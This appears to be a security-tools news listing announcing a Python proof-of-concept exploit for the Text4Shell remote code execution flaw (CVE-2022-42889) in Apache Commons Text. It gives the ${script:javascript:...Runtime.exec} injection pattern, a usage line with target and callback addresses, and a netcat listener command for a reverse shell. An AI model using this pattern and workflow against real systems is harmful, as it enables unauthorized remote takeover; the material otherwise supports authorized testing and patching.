💾 Text4Shell-Exploit - A Custom Python-based Proof-Of-Concept (PoC) Exploit Targeting Text4Shell (CVE-2022-42889), A Critical Remote Code Execution Vulnerability In Apache Commons Text Versions < 1.10
Nachrichtenbereich: 💾 IT Security Tools
🔗 Quelle: kitploit.com
A custom Python-based proof-of-concept (PoC) exploit targeting Text4Shell (CVE-2022-42889), a critical remote code execution vulnerability in Apache Commons Text versions < 1.10. This exploit targets vulnerable Java applications that use the StringSubstitutor class with interpolation enabled, allowing injection of ${script:...} expressions to execute arbitrary system commands.
In this PoC, exploitation is demonstrated via the data query parameter; however, the vulnerable parameter name may vary depending on the implementation. Users should adapt the payload and request path accordingly based on the target application's logic.
Disclaimer: This exploit is provided for educational and authorized penetration testing purposes only. Use responsibly and at your own risk.
Description
This is a custom Python3 exploit for the Apache Commons Text vulnerability known as Text4Shell (CVE-2022-42889). It allows Remote Code Execution (RCE) via insecure interpolators when user input is dynamically evaluated by StringSubstitutor.
Tested against: - Apache Commons Text < 1.10.0 - Java applications using ${script:...} interpolation from untrusted input
Usage
python3 text4shell.py <target_ip> <callback_ip> <callback_port>
Example
python3 text4shell.py 127.0.0.1 192.168.1.2 4444
Make sure to set up a lsitener on your attacking machine:
nc -nlvp 4444
Payload Logic
The script injects:
${script:javascript:java.lang.Runtime.getRuntime().exec(...)}
The reverse shell is sent via /data parameter using a POST request.
...